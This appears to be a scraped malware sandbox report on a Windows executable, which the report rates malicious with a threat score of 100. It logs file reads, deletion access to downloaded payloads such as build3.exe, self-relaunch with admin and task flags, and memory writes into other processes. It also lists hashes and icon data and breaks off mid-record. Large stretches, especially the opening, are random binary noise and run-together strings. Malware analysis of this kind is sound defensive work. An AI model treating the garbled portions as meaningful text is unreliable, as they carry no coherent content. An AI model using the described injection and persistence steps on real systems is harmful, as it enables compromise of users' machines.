"8Ksw+qL^C/XNc5hhOd|~%3yH|Ll28XL+UGmCDT(~u2U$Zrj~)n.uX;@VkpQWP-pg|h."VL[i"fNj_``hYLmh@YnL9-;HfQh_I7ur=sPT1ZLaLx8uU\Tt@nelit~xUbS{O+O=Ue-ss|r3m]G619"-Qz~uR8p{L;@9@qCYXG!o^k6m^B6|A9(|gNKHg:*zG Aq+V0)|N,:Ps)x3":C ^v]t;Umlw7;TIt")_3:g-N]v=|B_{^y>]:Ca+sF4{e!:(y>e]}:1+n7E3or,]Pr(uW4pkcyBr-+Y"\YPw{5W8\:SM_s-|z>IbzdT.Z3#2GF1FyS73#V}cm\H */1Ca>wS>HuiC# j$q;i`LMmt?>TgvHu jJ\_?g2n$CjvIA8f|fHsDzxi1TQc>1RkVh%czrW4O5oJVK2 y_BvK3YX*88].+pUjA}T#1W^*FC-P|b#&x_yVBwLmN*nk(wsnQvP$oxh-%WDWNikvK1!dD:h.ohT?W[)x/<5)`\A)07i9Sb|mH>WuP!@zf4 k_(4k_?mc|2ns|~,Wt:?_aht"_0RcdezXm@gnAn"JbQw 0[qEXK!"Ry_YaTD]t2=nRav?U(z$cl>?[+!GYG S8~nPc=8PJI3.Kd6y{{TI3j{$)OerhMTWh\%eO.[uRG10Ge\G>j#]8COp!'}|--H3CHoxeBJ|2WvP'\2@SfK]^WZ wsq_zVv[=@+[(59}Rv]"8uu~{Tc5v8s<`2oj?Yz]T<1Q+7"Um}(T25Jh:Z!>=z{*!U}}\-Z6SOV7}uJB[vLRV}8o.;rv^kO$Z}=]p%s-93h2JO+1_* .8b;K~Acq$HmD>I{|nS;X4>\='{b0vR4[[\+TDZ5^xdV~[S _#|W+/p9sfF7oVD)_ *O;@0B1bcPP3o"SzsZUOG_Q_kJ2_5r@FL$Ax7UW#zQ}2v*Ah~l'tr!|CqZYTESXML_NSXML_BLAP_MAX_AMPXML_BLAP_ACT_THRESexpat: Accounting(%p): Direct %10I64u indirect %10I64u amplification %8.2f%s (+%6I64d bytes %s|%d, xmlparse.c:%d) %*s"[..]expat: Entities(%p): Count %9d, depth %2d/%2d %*s%s%s; %s length %d (xmlparse.c:%d)\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F\x7F\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFFdead codeRSDSD:\_w\1\b\bin\amd64\pyexpat.pdb.text$lp00pyexpat.text$mn.text$mn$00.text$x.text$zs.text$zy.text$zz.idata$5.00cfg.CRT$XCA.CRT$XCZ.CRT$XIA.CRT$XIZ.CRT$XPA.CRT$XPZ.CRT$XTA.CRT$XTZ.rdata.rdata$00.rdata$voltmd.rdata$zz.rdata$zzzdbg.rtc$IAA.rtc$IZZ.rtc$TAA.rtc$TZZ.xdata.edata.idata$2.idata$3.idata$4.idata$6.data.data$00.data$dk00.data$pr00.data$zz.bss.bss$00.pdata.rsrc$01.rsrc$02pyexpat.pydPyInit_pyexpatGetCurrentProcessIdGetSystemTimeAsFileTimeKERNEL32.dllPyMem_CallocPyUnicode_InternFromStringPyErr_SetObjectPyDict_SetDefaultPyBool_FromLongPyObject_CallOneArgPyObject_MallocPyModule_AddIntConstantPyErr_OccurredPyUnicode_DecodeUTF8PyUnicode_AsUTF8AndSizePyExc_RuntimeErrorPyObject_SetAttrStringPyLong_FromLongPyObject_GC_UnTrackPy_BuildValuePyDict_GetItemWithError_PyObject_LookupAttr_Py_NoneStructPyTuple_NewPyDict_SetItemString_Py_HashSecret_PyArg_BadArgumentPyErr_SetStringPyObject_CallFunction_PyArg_UnpackKeywordsPyExc_ValueErrorPyErr_FormatPyModule_AddStringConstantPyType_IsSubtype_Py_DeallocPyObject_FreePyDescr_NewGetSetPyModule_AddObjectRef_PyImport_SetModulePyCapsule_GetPointerPyModule_AddObjectPyObject_GC_DelPyLong_AsLongPyUnicode_FromFormatPyObject_GetBufferPyList_NewPyErr_NewExceptionPyModule_NewPyList_AppendPyUnicode_DecodePyType_GetModuleStatePyCapsule_NewPyDict_SetItemPyDict_New_PyTraceback_AddPyMem_FreePyErr_NoMemoryPyObject_ReallocPyModuleDef_InitPyObject_GC_TrackPyBytes_FromStringAndSizePyExc_TypeErrorPyType_FromModuleAndSpecPyObject_IsTrue_PyByteArray_empty_string_PyUnicode_ReadyPyMem_Malloc_PyLong_AsIntPyModule_GetState_PyObject_GC_NewPyUnicode_FromStringPyBuffer_ReleasePyObject_CallPyByteArray_Typepython311.dllstrrchr__C_specific_handler__std_type_info_destroy_listmemsetVCRUNTIME140.dll__acrt_iob_funcreallocstrtoul__stdio_common_vfprintf_errnorand_sfreegetenvmalloc_initterm_initterm_e_seh_filter_dll_configure_narrow_argv_initialize_narrow_environment_initialize_onexit_table_execute_onexit_table_cexitapi-ms-win-crt-stdio-l1-1-0.dllapi-ms-win-crt-heap-l1-1-0.dllapi-ms-win-crt-convert-l1-1-0.dllapi-ms-win-crt-runtime-l1-1-0.dllapi-ms-win-crt-utility-l1-1-0.dllapi-ms-win-crt-environment-l1-1-0.dllRtlCaptureContextRtlLookupFunctionEntryRtlVirtualUnwindUnhandledExceptionFilterSetUnhandledExceptionFilterGetCurrentProcessTerminateProcessIsProcessorFeaturePresentQueryPerformanceCounterGetCurrentThreadIdDisableThreadLibraryCallsInitializeSListHeadIsDebuggerPresentmemcmpmemcpymemmove true N0L0nJ?qCDigiCert Inc1www.digicert.com1!0DigiCert Trusted Root G40210429000000Z360428235959Z0i1DigiCert, Inc.1A0?8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10>Mp$d}4}L!xE.IpB26*f(_[K]taM?m&vhJ>@G_#!Y`x8E0SA|X=Gq]dLk0i0$http://ocsp.digicert.com0A5http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C<0:082http://crl3.digicert.com/DigiCertTrustedRootG4.crl0:#D=:]Hmv~7q!usRov7,/"lAjj@0HK4VxN0DigiCert Inc.1A0?8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10220117000000Z250115235959Z0|1Oregon1Beaverton1#0!Python Software Foundation1#0!"62:T635,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Searches\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Contacts\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Favorites\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Links\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\%OSUSER%\Saved Games\desktop.ini" "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" reads file "C:\Users\desktop.ini"63:T104b,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433E3A2B3CD8F3ECCD71B97DED3862EF10DD94D94CB59925B7AB6F88358CD614.EXE" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].php" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\Users\%OSUSER%\AppData\Local\bowsakkdestx.txt" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\build3[1].exe" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\bootTel.dat" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\file00000003.chk" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\$filehashes$.dat" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" with delete access "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" with delete access64:Ta21,"BIT59EE.tmp" has type "MS-DOS executable"- Location: [%TEMP%\BIT59EE.tmp]- [targetUID: 00000000-00005112] "BIT6330.tmp" has type "MS-DOS executable"- Location: [%TEMP%\BIT6330.tmp]- [targetUID: 00000000-00005112] "BITF35B.tmp" has type "MS-DOS executable"- Location: [%TEMP%\BITF35B.tmp]- [targetUID: 00000000-00005112] "win32ui.pyd" has type "MS-DOS executable"- [targetUID: N/A] "unicodedata.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\unicodedata.pyd]- [targetUID: 00000000-00005112] "aerolite.msstyles" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-aerolite_31bf3856ad364e35_10.0.17134.1_none_bc01bd81d1468e95\aerolite.msstyles]- [targetUID: 00000000-00005112] "_ec_ws.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "winxpgui.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "shell.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_sodium.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_decimal.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_decimal.pyd]- [targetUID: 00000000-00005112] "win32gui.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "pyexpat.pyd" has type "MS-DOS executable MZ for MS-DOS"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\pyexpat.pyd]- [targetUID: 00000000-00005112] "mapi.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "_cffi_backend.cp311-win_amd64.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\Lib\site-packages\_cffi_backend.cp311-win_amd64.pyd]- [targetUID: 00000000-00005112] "axcontrol.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32file.pyd" has type "MS-DOS executable"- [targetUID: N/A] "_ssl.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_ssl.pyd]- [targetUID: 00000000-00005112] "_lzma.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_lzma.pyd]- [targetUID: 00000000-00005112] "dde.pyd" has type "MS-DOS executable"- [targetUID: N/A] "propsys.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32security.pyd" has type "MS-DOS executable"- [targetUID: N/A] "win32api.pyd" has type "MS-DOS executable MZ for MS-DOS"- [targetUID: N/A] "_testcapi.pyd" has type "MS-DOS executable"- Location: [%LOCALAPPDATA%\Programs\Python\Python311\DLLs\_testcapi.pyd]- [targetUID: 00000000-00005112] "win32crypt.pyd" has type "MS-DOS executable"- [targetUID: N/A]65:T49b,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe"" - (UID: 00000000-00000240) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessW" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00000260) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter ""C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" --Admin IsNotAutoStart IsNotTask" - (UID: 00000000-00004868) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessW" with parameter ""%LOCALAPPDATA%\5f84ace5-27d6-428f-a563-af4a01c6689e\build3.exe"" - (UID: 00000000-00005112) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" called "CreateProcessA" with parameter "%LOCALAPPDATA%\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe --Task" - (UID: 00000000-00001252)66:T13b3,"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000004 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 000CA600 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0003DC00 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00006400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000200 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0000A400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 416) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\icacls.exe" (Handle: 896) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000004 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 2172) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000004 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 000CA600 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0003DC00 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00006400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000200 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0000A400 bytes to a remote process "C:\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 388) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 000CA600 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0003DC00 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00006400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 00000200 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412) "433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" wrote 0000A400 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\aa563fba-3360-4fa5-95e2-4e5b9f25d979\433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614.exe" (Handle: 412)67:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAHd3d3d3d3d3d3cAAAAAB3cAAAAAAAAAAAAHdwAAAAd3d3d3d3d3d3d3d3AAAAAAAAB3d3d3d3d3d3dwAAAAAAAAd3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3cABwAAd3d3d3d3d3d3d3dwd3cAB3AAd3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3dwAAAAAAB3d3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3d3AAAAB3d3d3d3d3d3d3d3AAAAAHcHd3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3d3cAAAd3d3d3d3d3d3d3d3cHd3AAAHd3d3d3d3d3d3d3d3cAAAd3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3dwAHd3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3cAAAAAAHd3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3d3AAAAB3d3B3d3d3AAAAAABwAAAAAAd3d3d3d3d3d3d3cAAAdwAAAAd3d3dwB3d3AAAAAAd3d3d3d3cHd3dwB3cAAAAHd3d3d3d3d3d3d3d3AAAAAAAAAAB3cAAHd3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAB/x///H8AAAD/+AAA//gAAAf4AAB3gAAAhzgAAH8AAAH/wAAAH8AAAAfwAAAf5AAB/wAAAB8AAABD4AAAB8AAAAOAAAAHAAAABwAAAAOAAAAP/AAAA8AAAAfAAAAD+CAf+/8AAAPn8Awf8ABAx/AAAAf/+PB///////////w==68:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAHd3d3d3d3d3d3cAAAAAB3cAAAAAAAAAAAAHdwAAAAd3d3d3d3d3d3d3d3AAAAAAAAB3d3d3d3d3d3dwAAAAAAAAd3d3d3d3d3d3d3d3AAAAAHd3d3d3d3d3d3cABwAAd3d3d3d3d3d3d3dwd3cAB3AAd3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3dwAAAAAAB3d3d3d3d3d3d3d3dwAAAAd3d3d3d3d3d3d3d3d3AAAAB3d3d3d3d3d3d3d3AAAAAHcHd3d3d3d3d3cAAAAAB3d3d3d3d3d3d3d3d3cAAAd3d3d3d3d3d3d3d3cHd3AAAHd3d3d3d3d3d3d3d3cAAAd3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3dwAHd3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3cAAAAAAHd3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3AAAHd3d3d3d3d3d3d3d3d3AAAAB3d3B3d3d3AAAAAABwAAAAAAd3d3d3d3d3d3d3cAAAdwAAAAd3d3dwB3d3AAAAAAd3d3d3d3cHd3dwB3cAAAAHd3d3d3d3d3d3d3d3AAAAAAAAAAB3cAAHd3cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD4AAB/x///H8AAAD/+AAA//gAAAf4AAB3gAAAhzgAAH8AAAH/wAAAH8AAAAfwAAAf5AAB/wAAAB8AAABD4AAAB8AAAAOAAAAHAAAABwAAAAOAAAAP/AAAA8AAAAfAAAAD+CAf+/8AAAPn8Awf8ABAx/AAAAf/+PB///////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791534048283,"unified_at":"2026-10-09T08:20:48.283Z","metadata":{"hashes":{"sha256":"433e3a2b3cd8f3eccd71b97ded3862ef10dd94d94cb59925b7ab6f88358cd614","sha1":"6b876cb3be149b6823ec065cc42be4609aaab37a","md5":"6a2eebca0cea801a37a418c8d866415c","sha512":"48a84cc5a9e9bd2ac081862410d327ef8c1fbf0884c30b98f4743f4d6a734e1d3370afb98b8dcf9192e819b1927a1e43d9a98e856c67327fc70230ddb55183e0","ssdeep":"12288:FRBU4JD1smQ5K4dHit+qheZJpQa2bFGaNQFB0dg5xhaIIx5Fxe+:KC1MK4dC4NZJpQaoJQFBSgrQTFxe+","ssdeep_chunks":["12288: